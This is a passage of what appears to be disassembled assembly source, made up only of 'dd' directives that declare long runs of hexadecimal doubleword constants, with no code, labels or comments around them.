9719A256h, 1301AF1Ch dd 0E73BAF93h, 0E917ACAAh, 0D052610Dh, 0A913E07Ah, 2BBCC4BEh dd 0F86473F2h, 0A4F272D3h, 84469B60h, 0EFB519C0h, 241E8A96h dd 2C14CA5Ah, 3767DE87h, 0C3577B7Fh, 0EB44E3A3h, 0B033789Dh dd 4A404EF2h, 54257F2Ch, 7F95572Bh, 0E8A80CC7h, 348CB751h dd 4C624D7Fh, 8641591Ch, 0C477D11Ah, 0B038BDCFh, 71B13656h dd 471145DBh, 55267BABh, 7E3675FAh, 31F777D8h, 0E459BAE0h dd 9B39E076h, 48D6276Dh, 0BB551910h, 2B6AF399h, 0D6E96E02h dd 4A1C1FC5h, 70683851h, 5109254Fh, 99DC0D64h, 104972E8h dd 9F2BE365h, 344A3FE6h, 0D8DC5169h, 0F353EA27h, 151D442Dh dd 986B317Ah, 922829F6h, 2753289h, 7DE5EC3Fh, 7711C721h dd 0ADC4EB5Ch, 0D359A6C8h, 0B7072A43h, 0E561BABAh, 0EBF87FBAh dd 46D0F838h, 2EFADE2Fh, 0FE141E5Eh, 0C1F31CD2h, 0A78A6FBFh dd 221740C0h, 5526D907h, 0B607DDB4h, 0DB5EF1D9h, 0A310FD20h dd 0FE01BF60h, 91F0F240h, 0A67FBC6h, 0CC86C788h, 0A473F191h dd 9E467811h, 0BB4C3AD0h, 0B314B0CAh, 0E05637FBh, 4DBCE0F9h dd 6B178B15h, 3EAC1B4Ah, 6D8205CAh, 417686DAh, 8625E3F2h dd 0BC19BF7Eh, 7D1FEC7h, 6B3AAA8Eh, 0F0E66A8Ah, 9234063h dd 0CE5F2FBEh, 43FABBCEh, 944C6043h, 0C054FB21h, 0EFC28165h dd 0C58EA617h, 0E5BE8707h, 2BA0A128h, 0FF6CFDF7h, 5D7EA32Eh dd 3C910FCEh, 0E57FA4DAh, 381EC837h, 117D586Fh, 2D8C1DF4h dd 0B110F1D3h, 19739269h, 2D53F3B9h, 6A5AB40h, 0AC36115Ah dd 0A36CC4Bh, 9516910Fh dd 0B9C55E3Ch, 0C8D17E0Ah, 472179BAh, 8475D2E5h, 117CF80Fh dd 0E5A47583h, 0D7DA9FC0h, 0F9E63F22h, 77B9F44Dh, 0DAA7A8F8h dd 88569977h, 0E3458BAEh, 7CEBA9Ch, 62A663E5h, 0A36DCD71h dd 92164092h, 0F63C9757h, 16DB258Eh, 19C50C55h, 94EF3FD7h dd 0C81E792Eh, 0A4F103F0h, 4FF0B5BBh, 756DE0F7h, 6AE659D5h dd 227DDC7Dh, 0AAD4B568h, 2DE18DC3h, 0AAD5C5A3h, 13115869h dd 0BE4DD87Eh, 0B3F5354h, 0CE360760h, 0EEBA2755h, 0B6873523h dd 0D6D50A24h, 4F5E9FFCh, 7C985538h, 58AF33B9h, 15D51734h dd 0CA55E7ACh, 4B438AD0h, 1E9CBED2h, 0FC0BE27h, 38627FA3h dd 0E503BDBCh, 822ABF14h, 148FE992h, 0DA9754ADh, 241D3DCBh dd 747313D8h, 5FC03363h, 45BCC9FBh, 6AF75589h, 0E2596119h dd 0ED227BF5h, 1D4BC289h, 0E6EFAF66h, 8AC008FBh, 3643002Bh dd 0E1AAAA93h, 0A8FC55Fh, 20BA87E5h, 0D8FB7D97h, 442EADB8h dd 0B97E3854h, 330D2884h, 0BD8A2B47h, 0F28801A1h, 6B76533h dd 2CF8A292h, 1CBC68D9h, 0B220FC9Bh, 5F68AFF2h, 0E622EA13h dd 75576C6Fh, 1BDB152Eh, 51F7B8FDh, 7E7A9E30h, 5A57EEB8h dd 0D86EB41Dh, 6380CC3Ch, 2BBA461Fh, 36B2A8DAh, 0F7274DA4h dd 0BE5EFA8Ah, 0B0CA8F10h, 47FD4B9Ah, 0B76B6890h, 182221AEh dd 5916EE50h, 0E7E278B5h, 0DF2E9E8Ah, 2A772D32h, 0AA606DDBh dd 992B0C3Ah, 89722BECh, 2652216h, 0FC76AFE4h, 2BFDEF30h dd 85A4C76Ah, 5A958E72h, 7055E72Dh, 5854D626h, 7D1A4066h dd 0FB99A960h, 0D7CB227Dh, 0D617EBEh, 6EA0D998h, 26946C8Fh dd 0AFF95FD3h, 0CC6C6CE9h, 55F9C214h, 0CA9563B5h, 980CBF97h dd 0F4DC3712h, 68A2A3A8h, 5B65638Dh, 0FC6457D7h, 321BBDB0h dd 7752A68Ah, 0CAC38E74h, 7D65797Ah, 6573DF22h, 7E5F27C8h dd 0E1F41357h, 59BA2B0Bh, 0E608FB3Bh, 6EB01A84h, 0D3F6BEDEh dd 0EA7BC10Eh, 93D8AE0Ah, 293A853Ch, 1AFA2D20h, 5C1F1B8Bh dd 0AB83A1EEh, 0A11E9F53h, 0EC3A586Dh, 0FD02570Eh, 0AAAFEEA6h dd 0FEFD9CE7h, 6018E2D5h, 4EBD6664h, 0A117D4A4h, 95B7E588h dd 896F428Bh, 0B065E311h, 65AFEF2Ah, 6896CAABh, 0FE9B03E8h dd 0DA28E38Ch, 54D9ADCAh, 0EEF2E07Fh, 0E3446257h, 82AAEFB3h dd 67FEA8DFh, 0A82EA932h, 0AD8F1B9Ah, 0FCB9882h, 622F787Fh dd 0AC5728B5h, 5125AF3Dh, 303F4F40h, 0B3A8E6Dh, 9A62B1Fh dd 0C779617Ch, 128F50F8h, 0FC9D30D6h, 913D9D16h, 0AC96EED1h dd 0FC38A7ECh, 0FCF78A5h, 15892709h, 7FB285FDh, 6A394EC5h dd 0EC9FEA3Eh, 5DDF890Dh, 0E616EA1Eh, 0F0AD1C92h, 1299C5Eh dd 2A7BECA9h, 3D6EF8BCh, 0D88AE80Bh, 0CA8453AFh, 7DAE40A5h dd 33419923h, 0ECA7EAFEh, 0ACDA35B5h, 0DC593B9Ch, 323D6746h dd 0E2313636h, 0BEDD3291h, 5B387F96h, 47BBD1C6h, 0DFB7C666h dd 0F3EB0B50h, 19E6FBBAh, 0F2CC8057h, 89CCA86Ch, 9909807Fh dd 78A5F03Dh, 0AFE14A63h, 388E873Ch, 36B5E23Ah, 4EBD265Dh dd 491E31B6h, 0BEC445A8h, 77047301h, 0C37DC097h, 0BBCFFBA7h dd 0B21C6104h, 157D8338h, 0FD7E5B45h, 0E85DCFA4h, 0EB27DD71h dd 0F067EB73h, 0AF54EABCh, 0A4262D13h, 2BBDBB6Eh, 74FD4132h dd 0DBC6907Ch, 0D27707C6h, 0F95A6E25h, 8559EAE4h, 0B8B01B94h dd 8F8D1607h, 0F958B580h, 0DF354BCDh, 0A629913Fh, 53EC0F0Ah dd 6F47A69Bh, 0B3BD76B1h, 0E67B026Dh, 0DF1242F8h, 1538FA3Ch dd 5CF78E2h, 0B4FE5DF9h, 0A6CD04A2h, 0BE1E25B5h, 0B08876C4h dd 0CE67314Dh, 797D3AF8h, 0A22F303Ch, 53F72EF9h, 0DEC6F7AEh dd 0D6697B77h, 28ED40FDh, 73E517DDh, 2760BD7Fh, 0DAAE92E7h dd 157B5364h, 6183BE09h, 0CFAA45B7h, 0DDC9C507h, 0E1E344F6h dd 6A35CDAAh, 0CFBA97B2h, 0AEB0B78Eh, 0A1E8B872h, 0D132F5FCh dd 242E8D4Eh, 0BB6AB059h, 94828817h, 7F55D169h, 403655B1h dd 0A7837C8Dh, 0BE6F8CAFh, 0D1CF7C71h, 0AE6A754Ah, 1051FDEFh dd 532EF4A1h, 0A09934D8h, 0FF839045h, 4DB06500h, 5940BA47h dd 0E7F85DFAh, 507E55E8h, 3FB93C98h, 391293FBh, 81A67283h dd 0A91B7C50h, 8CDDFB19h, 6739EA8Ah, 0AE3FAA8Ch, 689FC094h dd 0AF04B99Bh, 0FBA8EB7Bh, 2756739Eh, 0AE725864h, 0CF6B4B60h dd 453ABEB2h, 9415EB1Dh, 0C8E19403h, 0B4A71D40h, 0B95BCE2Fh dd 2651F906h, 0F2AB1774h, 0AB8B7519h, 58E3628Dh, 824317FBh dd 3FE861B9h, 0B2E9F179h, 29961A2Eh, 0FD9215DDh, 30E579BAh dd 0BD19F3E0h, 91A04A7Fh, 0A4099970h, 9CEDF65Eh, 239E2212h dd 0A8FF161Eh, 687E38D8h, 0FA99BA5Ch, 0EB836F2h, 7E3CA677h dd 0B208C374h, 40387A2Fh, 5D55AE66h, 1B7DACCh, 512CD329h dd 0FF8EDB4h, 3A1DF913h, 74D8E60Fh, 0B6255587h, 3CFD677Bh dd 0DB65EF50h, 37A8762Ah, 0F674A96Ch, 91BE682Eh, 2754FF7h dd 0EEB5D393h, 89574798h, 0A2EAD388h, 0D84173D7h, 0F0E32E9Ch dd 8B6DA045h, 0DE308513h, 0DDC64688h, 89FC3C9Fh, 0D94CAFDBh dd 0D2BF00D7h, 51F9100Eh, 71D4E00Ah, 0BB2AE059h, 0B752AAB3h dd 0C564EF5Dh, 0AA59230Fh, 0DA9989AAh, 1F2FA3AAh, 0F2A2DF85h dd 0AAB8738Dh, 0F58FA1A0h, 13C0B97Dh, 0AFAB3CE6h, 0E3818987h dd 0C1636AF5h, 8DA281E8h, 0DDCDFEBCh, 0AAEAB4BAh, 0F0289AB3h dd 0C5A527A5h, 4FE0E2DBh, 22EABBABh, 0DFCDF815h, 0BCF04E15h dd 0CBB3D47Ch, 4194227Bh, 0C28408FBh, 8A84784Dh, 991C139Bh dd 0CDFE3765h, 0D17DF58Ah, 46B92E3h, 58B8380Dh, 0A8BE1BCFh dd 6CD6A4C8h, 0FA51739h, 0FBD22F90h, 0D1F33AEBh, 0D29E543Eh dd 5EB6F38Fh, 97E1C6F5h, 0B8D24E0Eh, 63F44A89h, 589FDE63h dd 0C82E238Dh, 0AFA8759Eh, 677EA7C0h, 40F379D1h, 0BEE92EB0h dd 6E0B9E9Ah, 184AAB72h, 7F50BFD6h, 18D46737h, 6E59D008h dd 0D26A00Eh, 0E6ADC534h, 0E3B5B543h, 3F1E731Eh, 5666381Fh dd 112EB73Dh, 806BBEBBh, 0D18AD4C9h, 0C74DAAA2h, 0D6EDEA2Fh dd 2BD7E6EFh, 0CB2B1438h, 0D01749B6h, 0E2ABBE5Bh, 0B6177B42h dd 0F07D7325h, 5FB8F1A9h, 99B65115h, 0D3A1F407h, 5D9DDDAAh dd 0D8C37401h, 1EDD9A47h, 1AFFF56Dh, 653D0412h, 81F7E3C5h dd 3D1C7D23h, 79405AE1h, 2AA82AFCh, 1542912Dh, 0FAD6A659h dd 0BA0AE6FAh, 2C662920h, 0CAA3AE39h, 0CEA901CFh, 756E68DDh dd 0F8896BD4h, 0E187C33Bh, 0AB4BEE57h, 50FE5E57h, 1351E8B0h dd 3CBA978Ah, 8AFE27DAh, 0AAE7FC82h, 577091A8h, 9C50DB60h dd 0BFE845BBh, 0E36F2CDBh, 2DA6E64Ah, 40D10CDDh, 8B0107E1h dd 7766FFBEh, 0F7C17441h, 38C014F9h, 905AB7E3h, 16DF1F7h dd 0BBC5E3E9h, 0E61A3EAAh, 842D08BBh, 97D5000Ch, 0D2D2873Ch dd 0C1D7C85h, 4BFABC1Fh, 48F7CE9Fh, 0B9D44324h, 1B44F950h dd 376D9B82h, 0AD1EAD05h, 0FF483168h, 6D021F8Fh, 555E1F18h dd 0F5CBC5FCh, 4E1B18A0h, 55651275h, 53C9079h, 0DDC0754Eh dd 95123D5Dh, 38B4D56Ch, 58E64AABh, 9C3F1DA5h, 0DF97181Fh dd 61DB87EDh, 0F848F1E9h, 858A6C62h, 0B2ACA402h, 0AE3DB4AFh dd 66B3C051h, 96970799h, 4ECEA907h, 61DEF547h, 67AEE180h dd 0FEDECEE4h, 0EA811EAFh, 0D01660A5h, 1D927914h, 0F83888BDh dd 51780D9Dh, 45EF0519h, 19D1654Ah, 0B331643Fh, 25FBDB8h dd 0E0C2F1FCh, 0BF12B936h, 0FE26A89Ah, 9208A39Eh, 0AA1E761Dh dd 26759D2Eh, 0D3F7681h, 0A3D13BACh, 59E24F9Dh, 482E58CDh dd 0F98DADDAh, 15D8E30Dh, 200B615Fh, 90D1EF8Dh, 0E1F86152h dd 60C2B364h, 697D0C6Dh dd 0DD8CBAC5h, 0DF57CAEBh, 9CF0A846h, 1F64C7B9h, 0BC5E5041h dd 0BF71B873h, 3277C579h, 4EE6ED15h, 4C244FACh, 5E43BF55h dd 31880EA3h, 566F19E8h, 63D239A4h, 346851EDh, 0F0909492h dd 5C58E143h, 66E57B93h, 58CBEFF1h, 8EE48AA2h, 0B7733AF1h dd 4F8E55B6h, 0EDD47D13h, 1275C208h, 286F6358h, 0F7E86231h dd 0AFD4FC1h, 561548FBh, 0C960E083h, 0D0A5F07Fh, 6BA760A7h dd 95AA37D1h, 0F1E38320h, 6521C543h, 98ABBA7Ch, 393CB39Dh dd 77C58810h, 2B18D5CEh, 2786F250h, 0F1D96965h, 0E07FAB5Dh dd 5599A762h, 0F0E4756Fh, 5A2EB143h, 8998EAA8h, 7BD2AA12h dd 0A7035E4Ch, 0D5D8292Ah, 663BB9F0h, 0EF678A79h, 0DB9D683Bh dd 0D8A7AC5Dh, 39B351A5h, 7AD1EDD3h, 5BF47C87h, 0F2AFBC75h dd 75789E6Ch, 6F2F8AA4h, 910744A7h, 8D7D68EAh, 0C2642FF1h dd 0B1FD6627h, 0C3EB7956h, 0D51AE460h, 985DA603h, 2FB104A1h dd 69AA8E45h, 44F3C0D8h, 6731F41Bh, 8FF7CC15h, 0FD70B81Fh dd 0FDD9B9Ah, 3F0755F4h, 0A8EE9EE4h, 261715EEh, 2B334E27h dd 0ACBFC518h, 5FC75F92h, 0F83496E9h, 0D111A54Eh, 4162F09Ch dd 56A792h, 4AADE5EEh, 0AED05D47h, 42B32AC5h, 167EA1Dh dd 879DCB17h, 365BA609h, 9F3ACBD6h, 0E915668Ch, 84FA668Eh dd 0CA1F67E1h, 4AEDD8F9h, 8BDD0B44h, 0E1B36904h, 58479C94h dd 7FBEA797h, 75DC4EBCh, 7D2A635Dh, 96A63ABCh, 549B168Dh dd 2442C7E7h, 1BAA1809h, 0CF85F824h, 3F81DD11h, 0A9AD89B3h dd 0CE6E4C33h, 0A7FDD1D5h, 3DCE4611h, 3C79851Fh, 3627C95Ah dd 964A666Bh, 5F16566Fh, 856DC318h, 8FA26686h, 0FD1795ABh dd 7AFE1101h, 0F5F4E4E1h, 5A05031h, 0E796EABDh, 5B34ACBBh dd 7AEAB7FBh, 5ECC98AAh, 0DCA18BA6h, 0FD70279Eh, 0DD8D10AEh dd 0CD5AFC85h, 0D5E8687Ah, 0E8C3E0F9h, 0BD53E52Bh, 0D740F175h dd 5417479Bh, 561F6BBAh, 0FA63ABECh, 0D67F9574h, 0CE208ACAh dd 0C6BE1DEFh, 3C68BB7Ch, 0F3385B3Eh, 0DBE0AE07h, 0F3AA86C2h dd 7F40965Ch, 2C2F89F9h, 0C6CA3302h, 51CFA50Fh, 3D8336EEh dd 0D8AF76F3h, 746E5E59h, 0E9B2E3BCh, 0A98A424Fh, 0E34E4507h dd 15E89CBAh, 0A148984Bh, 6D8E1903h, 0C691173Bh, 9EF9F3BAh dd 0F51641C1h, 0B4D546B7h, 0E8CA90A6h, 0FBCC79FAh, 646C1C88h dd 8C9914FFh, 0AA86EB21h, 9CDA9CFAh, 2FD339C3h, 13FD34D2h dd 0AEACE243h, 6D155A0Ah, 5318044Fh, 3CFCB9C4h, 442FB159h dd 0E5B2C50Eh, 0C32F2380h, 0AA3434B0h, 0F8509185h, 32C64022h dd 0E0F2FC55h, 1EC9A7C0h, 0DF7AE2D8h, 0E9898D44h, 4E8E978Fh dd 0F0F2870Ch, 0C6F0D781h, 0D6FAEEF8h, 5E321C1Ch, 919B6BFFh dd 8BA8EE1h, 0BCBA1D94h, 6157E42Dh, 5ABA85E7h, 930F18F9h dd 16D1DC1Ah, 0F673C0D5h, 7E9E344Eh, 18BA0B43h, 0FADD98BEh dd 955B3330h, 0EEADFB94h, 0FE79E567h, 5794AB2Dh, 1C298D81h dd 599DB15Eh, 0EF6AFC45h, 1663A832h, 0E9E7F81Fh, 0FD9D559Eh dd 39B00C7Eh, 65F94D9Dh, 39CCE929h, 99F1F07Dh, 627EA0F8h dd 197E5982h, 176C37CFh, 4051771Eh, 1760A5A2h, 2EF431BEh dd 9DE8CB5Ah, 0C5C11855h, 98EC7514h, 91B2740Bh, 0C416EAD2h dd 5F07106h, 7B6E0A92h, 0F0318AEh, 0E809AF14h, 2D7FC2BFh dd 906B2F56h, 2E2C5553h, 8288226Ch, 0AE3C5085h, 981752B2h dd 0A2EB91FEh, 0D892CE25h, 37F86157h, 5B897232h, 7339DAFDh dd 8B79CEC2h, 0BB197964h, 5E3660CAh, 0B91B6EFEh, 0F0FB810h dd 9F6B4E34h, 37E868B9h, 0F8B4B36Fh, 0C3546196h, 0B9EED64Fh dd 5FD5FA9Ch, 0D578EFA0h, 569028B5h, 0A8523D1h, 78DCFFEEh dd 5320AA81h, 71FA6C4Fh, 8B4A4B79h, 7E18AEB2h, 93E243C3h dd 228D22FAh, 3C09A4C8h, 0CAEC91BBh, 77F33B1Ch, 168CE469h dd 0E5F3683h, 0A691CDBAh, 99208D0Ah, 0F14CCBAEh, 3DA8D7A3h dd 77C1DD3Fh, 3E977E39h, 7F76235h, 8F5669C1h, 0AE8AEF0Dh dd 9BA1C381h, 8460E86h, 167A64EEh, 37DB9E4Dh, 1ED7AD4Dh dd 6EB38CD4h, 0DD59CE5Dh, 287F71FAh, 0EA59AE1h, 87ADA2A7h dd 95E98B84h, 7623936Ah, 0CD1FD03h, 0A1553EAAh, 0CBAF91A9h dd 60ADF172h, 0B6047907h, 0A41A9486h, 9E7CB63Ah, 0B57728C0h dd 0EB86CAA5h, 0E357274Ch, 75D554E9h, 5D3354A8h, 0FE8C41CBh dd 0E2AF2FA0h, 50AF00B4h, 0FB5168A2h, 0C9D5BDBAh, 0D691C8E5h dd 0ABDD3C37h, 492287AAh, 91ADCC6Bh, 48A750ADh, 0EF668B50h dd 0E7504E11h, 0BD3E3938h, 0FEA6700Bh, 2F1E9D71h, 753D6B96h dd 5860E78Fh, 62BB57C3h, 9314EC28h, 0A3F7CA13h, 0D8DFAA42h dd 0DEE9111Ch, 2E61DB14h, 0A50A0149h, 5F59FCD7h, 6C3694ABh dd 297ADBA3h, 35748D49h, 724EEDE7h, 0DF6209B6h, 0E1DBCB7Ah dd 0A2637E5Fh, 5C5D47A6h, 91BB1EF4h, 49684BEAh, 0A50AE2F5h dd 0E1A31AA6h, 87CFD8EAh, 6F7B3DF2h, 0FC6531F0h, 3977A1B0h dd 0CFB24ED8h, 0CC8D1F84h, 0B925A2EAh, 0EBA6B549h, 2B9CB6F7h dd 0F5133F5Ah, 10BF4703h, 0FA8ACCECh, 6FC83663h, 3E7FED71h dd 4A3BBA49h, 0E2B0CB82h, 0B3C878BCh, 663A8087h, 5BDD9ECDh dd 0A94DD439h, 0E3DD1DA9h, 675968BBh, 1DC0EEEBh, 0CCC38C42h dd 97E26A33h, 78983DDDh, 6E0A4188h, 286127Dh, 0A1428AFBh dd 21DC3A5h, 1F892938h, 10E09F12h, 0E073FC51h, 0BB96F9E0h dd 0C6EFCABEh, 727254A1h, 59D51067h, 92D6780Ch, 2516B59h dd 0A2336E46h, 1844D2A1h, 9FA5F850h, 1A2E303Ch, 0ADAF53A3h dd 0F9D06B59h, 5CA9FF57h, 0FB33573Eh, 97E21A27h, 0EBE0FC44h dd 99728F73h, 0FD31B194h, 0BE8CA7A5h, 2FB40A14h, 7EBEC823h dd 5BD96793h, 1813CAC5h, 419868B5h, 5BF37D4Dh, 0B6AB467Ah dd 6C7AF6AFh, 32E51B72h, 9EE26B93h, 4009AD46h, 0C3AB0185h dd 0C9C075CAh, 8E2BC879h, 5C2AF8AAh, 0CE247599h, 0D712A2A0h dd 42D156BEh, 86376D52h, 0BA5571C5h, 169AFB3Bh, 0BE525927h dd 9EBC3588h, 90AC5E43h, 0CB39248Bh, 0DB58FA7h, 7D6A49DDh dd 0ABFE1018h, 8983FAA2h, 73CB2F7Ah, 0E9D36BFAh, 642A33A0h dd 732A3C2Bh, 0B66D3CE3h, 36E591C0h, 8D3B5E31h, 32F03D49h dd 10958B89h, 0D37FB575h, 0B5BAF40Dh, 2A338EA9h, 4E7B6ACAh dd 8B48BAB4h, 8A76D81Dh, 8227AC49h, 585680BFh, 92FEBDFh dd 3E30BF19h, 0F57F8812h, 7D9DCB57h, 0E0B1622Eh, 5ACDC1E5h dd 0E95439F6h, 0BE523DD9h, 1BA2391Ch, 0E04F3148h, 0E23A6C8Dh dd 7D5D9AEDh, 5AC145FFh, 0AAAD6575h, 0F9B257B2h, 30276BD3h dd 0BEAEE8F2h, 6ECAA47Ah, 0D9C9A557h, 2BD482Fh, 8427DBE9h dd 5BBDBA6h, 0F8C9270h, 0F8D67844h, 0D467D584h, 434C5EF4h dd 91B96369h, 9398BCDh, 0E2FE9FDCh, 68989CD3h, 0CB17156Bh dd 5EB60E41h, 0CF2C7266h, 0E3BE2A92h, 0B7181A84h, 338EEEF1h dd 34362927h, 0D1D6A7C7h, 4A3678BCh, 0A91BAC98h, 7F992197h dd 0C08B94AAh, 2C775926h, 0A3EF9BF5h, 4C174A85h, 438344DDh dd 0B925A0A7h, 708ABD8Dh, 1056B10Fh, 0DDA98D8Ah, 0D6891F87h dd 8EC41317h, 475D9FEEh, 6A54F08Ch, 2AEC7C3h, 14D9F215h dd 6F4ADBDBh, 0AC0FF306h, 188F11BCh, 0F30D6F7Dh, 0EAE0E495h dd 79607062h, 1BC12E97h, 0AB555355h, 4817DC0Fh, 0EFBE33C6h dd 410320E9h, 5887DEF6h, 0B9072827h, 0B3EEE27Dh, 5A82FEB0h dd 0E4672CE0h, 0BD2DBACDh, 0D707DB38h, 69225B08h, 64B68D09h dd 0F0543F94h, 0EFF3DF5Eh, 9C38D015h, 0AF6EB879h, 0FCE8F977h dd 9B18A0FCh, 66F9EB9h dd 0F6C4CD5Eh, 0C5568DDCh, 0D53E746Fh, 0AB4AF7FAh, 5E8B1D68h dd 0FD699DF9h, 37BFF47Eh, 24755A1h, 4A8C16BEh, 0F0CC5C4Bh dd 0ADF7BB71h, 127BB996h, 27595763h, 0B73D2E79h, 7F09D541h dd 0C3A218F3h, 8EB125BEh, 9F4DA9B9h, 328B1398h, 0F07D9BE4h dd 0DB6B31B1h, 283AAE8Bh, 0FF77D073h, 9959A042h, 0E3BAF60Ah dd 0AD685DB5h, 0A0F19762h, 0C73288CDh, 0B248B05Dh, 7639F0E6h dd 0D0ABE747h, 0B1F9CD62h, 0CC44B202h, 0D8E422AEh, 61F8AEABh dd 45749676h, 0FD89FD46h, 0DF539F00h, 1F45B471h, 0C3614686h dd 7274658Ch, 69D75BDDh, 0B6F44D6Bh, 876365F7h, 0F62FB5AFh dd 0AA656CDFh, 0FCE0165Dh, 468AFF59h, 0D7B9F1E1h, 236A42FEh dd 0EBB70BEEh, 4482004Ah, 0A4A7EBC5h, 3353DC1Eh, 981BA04Ah dd 6AB60E05h, 54AA21F8h, 0F5A949ADh, 635B56F8h, 0A777BC05h dd 9F0C9A40h, 7B13C6C2h, 33F772ABh, 64E97B3Bh, 0E0291C09h dd 0CED11ADDh, 68E22557h, 0B4F40FC1h, 0DE5F2ACCh, 70D4BAA5h dd 6ED2E7F6h, 35084D5Dh, 3EFC21FEh, 8AAEE63Ah, 7BE7EC33h dd 0BD2731ADh, 60285D3Dh, 5964667Bh, 3B8CD927h, 0D064C4BAh dd 0F8325CFDh, 53C63670h, 20E868A6h, 0BE794F4Dh, 6D6DFA3Dh dd 645EC43Eh, 1E9DC0F0h, 2A7E9866h, 7356D86Eh, 9667E563h dd 0C5F77FADh, 8CE18B53h, 5CD655EAh, 3E0562BBh, 57B7D093h dd 0CA7546D1h, 627DF355h, 4F55C6CAh, 1FAB8D5Bh, 0AB846AD1h dd 0E466D9B5h, 734ACA87h, 0A768566Dh, 71574312h, 7D7D764h dd 0DE4CEADEh, 0F2BA7FBDh, 0ADA417E1h, 0BDED7326h, 7C580E54h dd 0E46A731Fh, 3F454886h, 0D3939AA3h, 0E4E186BEh, 38DBA6BFh dd 0C3ED2812h, 70B1DAFAh, 1F2CB44Eh, 413F62DCh, 2E253143h dd 9AADAC45h, 5FFDFED0h, 7A2A9658h, 0C31FFFEh, 37AA77BAh dd 0CA0E4421h, 7B1FF8E4h, 0BE07CF87h, 88CA4A87h, 9F94B891h dd 0F06BECF8h, 65C8AA7Eh, 0B5AFF6Dh, 877EAB5Ah, 0B5557C7Ch dd 20F391B6h, 12B76195h, 6F74C3F1h, 6E7FD2F0h, 766014ECh dd 5EEB0F06h, 20A9C52Dh, 0D0F2D9F7h, 5AEBD955h, 0E5AA9D69h dd 8817D433h, 0FB45DB91h, 0F958F149h, 6E6C3A45h, 0FF602D75h dd 0DE7CF046h, 536ED750h, 0B31346Dh, 15114754h, 0C6AF7394h dd 77E2176Fh, 9710E064h, 9B489356h, 91E82DD5h, 2B18FB20h dd 0B36FF070h, 19D6F571h, 5D6D15CDh, 357DE107h, 0DB3A7D2Ch dd 28E55600h, 0CBEF5BBAh, 0F0EB567Bh, 0A7C2705Ah, 295E3A1Bh dd 21424CC4h, 11B368EDh, 53939F57h, 71107B04h, 9BDCD457h dd 0AB14A38Fh, 1D82D213h, 0ED919750h, 4BF054B6h, 30F0B4A3h dd 0A42AA1C1h, 0CAA8A212h, 0BC41BF8h, 19939DBBh, 0B68DA8B4h dd 568E475Eh, 5D45F6C6h, 2B5AE274h, 0DE9B5793h, 23E33B7Dh dd 93CE5Ah, 6F7B54C6h, 332DFD71h, 0EA9D24F2h, 6D642A4Bh dd 0F9E28AC1h, 5D603A72h, 9F61299Ch, 0B8F1A278h, 3568D11Dh dd 0C243E731h, 98F38574h, 0C853F0D0h, 0A52AFB15h, 248520Dh dd 0D41EFDC3h, 0BF8389AFh, 0A90FF348h, 0F24BAD0Ah, 427C545h dd 0E5D9338Eh, 0C65A03E8h, 2EBBE4BBh, 50D8186Ch, 52393CBEh dd 7489E540h, 0E3299A80h, 3ED0FB8Ch, 0F64B04D9h, 3A83286Eh dd 535B2387h, 94624B19h, 76BAAB12h, 2AA0C7CBh, 61AD09EBh dd 3526DAD7h, 444F152Dh, 7199C0AAh, 69695682h, 881F50D0h dd 8F81B8B6h, 81076C95h, 999F5581h, 0A7E9164Dh, 0E0345B02h dd 49931B87h, 42D13856h, 0F4703E7Dh, 0E2B3A0A6h, 0E87C4A14h dd 0A975DFE4h, 8AA20D0h, 9DF80198h, 5A82E2D6h, 0CFE2DF52h dd 5A29B3A7h, 3225DF4Bh, 0CD2B89BEh, 0AFEC18C9h, 0C0ADF7E9h dd 0AF1E5AAFh, 0C9634138h, 6F2F51D7h, 27873C60h, 97BA64FAh dd 3528B789h, 24967912h, 20DB7E22h, 335520FBh, 0E64A8DCDh dd 93353044h, 0A16F12BFh, 0E46B2F56h, 2E3ADB52h, 0AA45D2FBh dd 0C87D8F1Bh, 0F6D9FB83h, 1243E66h, 6E75978Fh, 4A990A1Eh dd 9685945Dh, 72283B8Ch, 0F0A82ADEh, 9AAAA3CAh, 7FDE26Eh dd 7D87943Ah, 68150748h, 7FDDA19Ah, 3625FCF1h, 0D7A30ED4h dd 88B88730h, 0D10B07DDh, 44DD262Ch, 0F65C5282h, 105940D7h dd 0DBCB32EDh, 81A37291h, 0A11DF4CFh, 4543A83Ah, 9E812D7Ch dd 52974D83h, 7EA3F021h, 0BE5CC499h, 0D606B291h, 7D5AFAC3h dd 2265B14Dh, 8D5BA495h, 278FDBD7h, 0F96B935Eh, 181E8366h dd 2C779400h, 7AEC74A7h, 0F3377CB7h, 770943F0h, 3EB267FCh dd 5A3719FEh, 2F9C5AA9h, 0B5079609h, 998B1B7Fh, 0C22F6D3Eh dd 0F91D8A80h, 0B8840FC1h, 1F1D8CADh, 7F1A6654h, 0ADB35A8Bh dd 0F477F714h, 8A6D5086h, 0A9A8D424h, 0D47F05B3h, 2F86F9EAh dd 9BF2D2E7h, 8AFDCF8Dh, 0AF973BF5h, 0BF1F5DB4h, 0AD491AD4h dd 21D703EFh, 8CEA4E55h, 3D8880C1h, 1C5FAC7Ah, 0D88AC70Ah dd 25B1D32Ah, 0DCB622A3h, 1432B3E5h, 5F421E6Ch, 90491F9Fh dd 395B0D85h, 57E02FEEh, 96E02BF2h, 9E892D8Dh, 0EA7878FDh dd 0F0056D32h, 3B461225h, 84876251h, 5D2A2E2Bh, 0A9BD2AF2h dd 428BE691h, 0F34F0C1Bh, 0CEC0414Dh, 17E99A2Dh, 8793F8A6h dd 113637A2h, 0B75AD45Bh, 14E9BC66h, 420ABE78h, 3926EA2Fh dd 17158446h, 0D126758h, 10EDACFDh, 3FDDD2A6h, 2FAB5F51h dd 0CB441CAEh, 0FC55689Eh, 0BEC95F45h, 0AB352586h, 64126FC4h dd 187EECECh, 941B797Fh, 0FB173AF3h, 5A97CC3Ch, 2D230375h dd 0C42A4C75h, 0C4A3EBDh, 7329DC1Fh, 0FED256AFh, 0AB6C2A6h dd 0D557789Ch, 443208AEh, 371914EAh, 0F7416CABh, 52FDD44Fh dd 3ED96022h, 91424DA9h, 0C0866EEEh, 379E5D1Dh, 8559E14Dh dd 0D7DA46Ah, 9A5BBEDFh, 21BDBBB7h, 6B925A53h, 0F4735DC2h dd 0AE303DB3h, 0AA16398Ch, 0FE4A1D9Ch, 3AC4886Bh, 8BB45363h dd 0D0A5C160h, 0D5FB0D2Ch, 0BC558C1Dh, 6C9D5696h, 7A7155Bh dd 77314DD6h, 1767C7D5h, 0D542A25Bh, 97AF2263h, 6CC9DDF7h dd 5703B572h, 2ED2E446h, 36A2C2EAh, 27D9B413h, 0CC62AC46h dd 357B15D1h, 0F71CAAD0h, 78E8249h, 0EF46AEAFh, 6BB6AE7Fh dd 223AEC22h, 0FDE00E4h, 0B4E130FCh, 